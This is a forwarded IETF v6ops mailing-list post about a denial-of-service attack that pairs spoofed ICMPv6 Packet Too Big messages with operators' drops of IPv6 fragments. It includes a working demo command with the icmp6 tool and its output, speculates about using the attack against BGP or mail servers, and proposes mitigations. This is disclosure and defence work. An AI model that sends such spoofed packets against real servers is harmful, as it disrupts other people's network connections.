Folks, FYI -- currently being discussed on v6ops@ietf.org Cheers, Fernando -------- Forwarded Message -------- Subject: DoS attacks (ICMPv6-based) resulting from IPv6 EH drops Date: Tue, 19 Aug 2014 09:00:15 -0300 From: Fernando Gont <fgont@si6networks.com> To: IPv6 Operations <v6ops@ietf.org> CC: 'opsec@ietf.org' <opsec@ietf.org> Folks, Ten days ago or so we published this I-D: <http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world-00.txt> Section 5.2 of the I-D discusses a possible attack vector based on a combination of "forged" ICMPv6 PTB messages and IPv6 frag drops by operators, along with proposed countermeasures -- on which we'd like to hear your comments. Since Section 5.2 is in the draft, let me offer a more informal and practical explanation: 1) It is known that filtering of packets containing IPv6 Extension Headers (including the Fragment Header) is widespread (see our I-D above) 2) Let us assume that Host A is communicating with Server B, and that some node filters fragments between Host A and Server B. 3) An attacker sends a spoofed ICMPv6 PTB to server B, with a "Next Hop MTU<1280), in the hopes of eliciting "atomic fragments" (see <http://tools.ietf.org/rfc/rfc6946.txt>) from now on. 4) Now server B starts sending IPv6 atomic fragments... And since they include a frag header (and in '2)' above we noted that frags are dropped on that path), these packets get dropped (i.e., DoS). "Demo" with the icmp6 tool (<http://www.si6networks.com/tools/ipv6toolkit>) -- (some addresses have been changed (anonimized), but it is trivial to pick a victim server...) "2001:db8:1:10:0:1991:8:25" is the server, and "2001:5c0:1000:a::e7d" is my own address): ---- cut here ---- ***** First of all, I telnet to port 80 of the server, and everything works as expected **** fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 Trying 2001:db8:1:10:0:1991:8:25... Connected to 2001:db8:1:10:0:1991:8:25. Escape character is '^]'. ^CConnection closed by foreign host. **** Now I send the forget ICMPv6 PTB **** fgont@satellite:~$ sudo icmp6 --icmp6-packet-too-big -d 2001:db8:1:10:0:1991:8:25 --peer-addr 2001:5c0:1000:a::e7d --mtu 1000 -o 80 -v icmp6: Security assessment tool for attack vectors based on ICMPv6 error messages IPv6 Source Address: 2001:5c0:1000:a::e7d (automatically selected) IPv6 Destination Address: 2001:db8:1:10:0:1991:8:25 IPv6 Hop Limit: 227 (randomized) ICMPv6 Packet Too Big (Type 2), Code 0 Next-Hop MTU: 1000 Payload Type: IPv6/TCP (default) Source Address: 2001:db8:1:10:0:1991:8:25 (automatically-selected) Destination Address: 2001:5c0:1000:a::e7d Hop Limit: 237 (randomized) Source Port: 80 Destination Port: 38189 (randomized) SEQ Number: 734463213 (randomized) ACK Number: 866605720 (randomized) Flags: A (default) Window: 18944 (randomized) URG Pointer: 0 (default) Initial attack packet(s) sent successfully. ***** And now I try the same telnet command as above... but it fails, because the frags from the server to me are getting dropped somewhere **** fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 Trying 2001:db8:1:10:0:1991:8:25... [timeout] ---- cut here ---- Of course, in this particular case I just "shot myself". But one could do this to DoS connections between mailservers, etc. A nice question is: what if e.g.... 1) some BGP servers accept ICMPv6 PTB that claim an MTU < 1280, and react (as expected) by generating atomic fragments, *and*, 2) These same BGP servers deem fragmentation as "harmful", and hence drop such fragments you could essentially DoS traffic between them As noted in the I-D, the mitigations seem to be: 1) Artificially limit your packets to 1280, and drop all incoming ICMPv6 PTB, or, 2) Have your device just drop ICMPv6 PTB that claim a Next-Hop MTU smaller than 1280. Thoughts? -- Fernando Gont SI6 Networks e-mail: fgont@si6networks.com PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492 -- Fernando Gont e-mail: fernando@gont.com.ar || fgont@si6networks.com PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1